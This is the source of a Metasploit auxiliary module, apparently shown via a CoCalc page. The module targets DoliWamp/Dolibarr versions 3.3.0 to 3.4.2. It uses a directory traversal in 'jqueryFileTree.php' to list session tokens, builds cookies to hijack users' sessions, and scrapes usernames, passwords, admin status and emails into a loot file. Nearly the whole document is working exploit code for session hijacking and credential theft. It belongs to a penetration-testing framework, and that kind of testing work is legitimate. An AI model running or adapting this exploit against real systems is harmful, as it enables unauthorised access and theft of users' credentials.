Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/doliwamp_traversal_creds.rb
19852 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",
15
'Description' => %q{
16
This module will extract user credentials from DoliWamp - a WAMP
17
packaged installer distribution for Dolibarr ERP on Windows - versions
18
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session
19
tokens in filenames in the 'tmp' directory. A directory traversal
20
vulnerability in 'jqueryFileTree.php' allows unauthenticated users
21
to retrieve session tokens by listing the contents of this directory.
22
Note: All tokens expire after 30 minutes of inactivity by default.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => 'bcoles',
26
'References' => [
27
['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
28
['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
29
],
30
'DisclosureDate' => '2014-01-12',
31
'Notes' => {
32
'Reliability' => UNKNOWN_RELIABILITY,
33
'Stability' => UNKNOWN_STABILITY,
34
'SideEffects' => UNKNOWN_SIDE_EFFECTS
35
}
36
)
37
)
38
register_options(
39
[
40
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),
41
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])
42
]
43
)
44
end
45
46
#
47
# Find session tokens
48
#
49
def get_session_tokens
50
tokens = nil
51
print_status("Finding session tokens...")
52
res = send_request_cgi({
53
'method' => 'POST',
54
'uri' => normalize_uri(
55
target_uri.path,
56
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'
57
),
58
'cookie' => @cookie,
59
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
60
})
61
if !res
62
print_error("Connection failed")
63
elsif res.code == 404
64
print_error("Could not find 'jqueryFileTree.php'")
65
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
66
tokens = res.body.scan(/>sess_([a-z0-9]+)</)
67
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
68
print_good("Found #{num_tokens} session tokens")
69
else
70
print_error("Could not find any session tokens")
71
end
72
return tokens
73
end
74
75
#
76
# Get user's credentials
77
#
78
def get_user_info(user_id)
79
vprint_status("Retrieving user's credentials")
80
res = send_request_cgi({
81
'method' => 'GET',
82
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
83
'cookie' => @cookie,
84
'vars_get' => Hash[{
85
'action' => 'edit',
86
'id' => "#{user_id}"
87
}.to_a.shuffle]
88
})
89
if !res
90
print_error("Connection failed")
91
elsif res.body =~ /User card/
92
record = [
93
res.body.scan(/name="login" value="([^"]+)"/).flatten.first,
94
res.body.scan(/name="password" value="([^"]+)"/).flatten.first,
95
res.body.scan(/name="superadmin" value="\d">(Yes|No)/).flatten.first,
96
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
97
]
98
unless record.empty?
99
print_good("Found credentials (#{record[0]}:#{record[1]})")
100
return record
101
end
102
else
103
print_warning("Could not retrieve user credentials")
104
end
105
end
106
107
#
108
# Verify if session cookie is valid and return user's ID
109
#
110
def get_user_id
111
res = send_request_cgi({
112
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
113
'cookie' => @cookie
114
})
115
if !res
116
print_error("Connection failed")
117
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
118
user_id = "#{$1}"
119
vprint_good("Hijacked session for user with ID '#{user_id}'")
120
return user_id
121
else
122
vprint_status("Could not hijack session. Session is invalid.")
123
end
124
end
125
126
#
127
# Construct cookie using token
128
#
129
def create_cookie(token)
130
res = send_request_cgi({
131
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
132
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
133
})
134
if !res
135
print_error("Connection failed")
136
elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
137
return "DOLSESSID_#{$1}=#{token}"
138
else
139
print_warning("Could not create session cookie")
140
end
141
end
142
143
#
144
# Show progress percentage
145
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
146
#
147
def progress(current, total)
148
done = (current.to_f / total.to_f) * 100
149
percent = "%3.2f%%" % done.to_f
150
vprint_status("Trying to hijack a session - " +
151
"%7s done (%d/%d tokens)" % [percent, current, total])
152
end
153
154
#
155
# Check for session tokens in 'tmp'
156
#
157
def check
158
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
159
end
160
161
def report_cred(opts)
162
service_data = {
163
address: opts[:ip],
164
port: opts[:port],
165
service_name: opts[:service_name],
166
protocol: 'tcp',
167
workspace_id: myworkspace_id
168
}
169
170
credential_data = {
171
origin_type: :service,
172
module_fullname: fullname,
173
username: opts[:user],
174
private_data: opts[:password],
175
private_type: :password
176
}.merge(service_data)
177
178
login_data = {
179
core: create_credential(credential_data),
180
status: Metasploit::Model::Login::Status::UNTRIED,
181
proof: opts[:proof]
182
}.merge(service_data)
183
184
create_credential_login(login_data)
185
end
186
187
def run
188
return unless tokens = get_session_tokens
189
190
credentials = []
191
print_status("Trying to hijack a session...")
192
tokens.flatten.each_with_index do |token, index|
193
if @cookie = create_cookie(token) and user_id = get_user_id
194
credentials << get_user_info(user_id)
195
end
196
progress(index + 1, tokens.size)
197
end
198
199
if credentials.empty?
200
print_warning("No credentials collected.")
201
return
202
end
203
cred_table = Rex::Text::Table.new(
204
'Header' => 'Dolibarr User Credentials',
205
'Indent' => 1,
206
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
207
)
208
credentials.each do |record|
209
report_cred(
210
ip: rhost,
211
port: rport,
212
service_name: (ssl ? 'https' : 'http'),
213
user: record[0],
214
password: record[1],
215
proof: @cookie
216
)
217
cred_table << [record[0], record[1], record[2], record[3]]
218
end
219
print_line
220
print_line("#{cred_table}")
221
loot_name = 'dolibarr.traversal.user.credentials'
222
loot_type = 'text/csv'
223
loot_filename = 'dolibarr_user_creds.csv'
224
loot_desc = 'Dolibarr User Credentials'
225
p = store_loot(
226
loot_name,
227
loot_type,
228
rhost,
229
cred_table.to_csv,
230
loot_filename,
231
loot_desc
232
)
233
print_status("Credentials saved in: #{p}")
234
end
235
end
236
237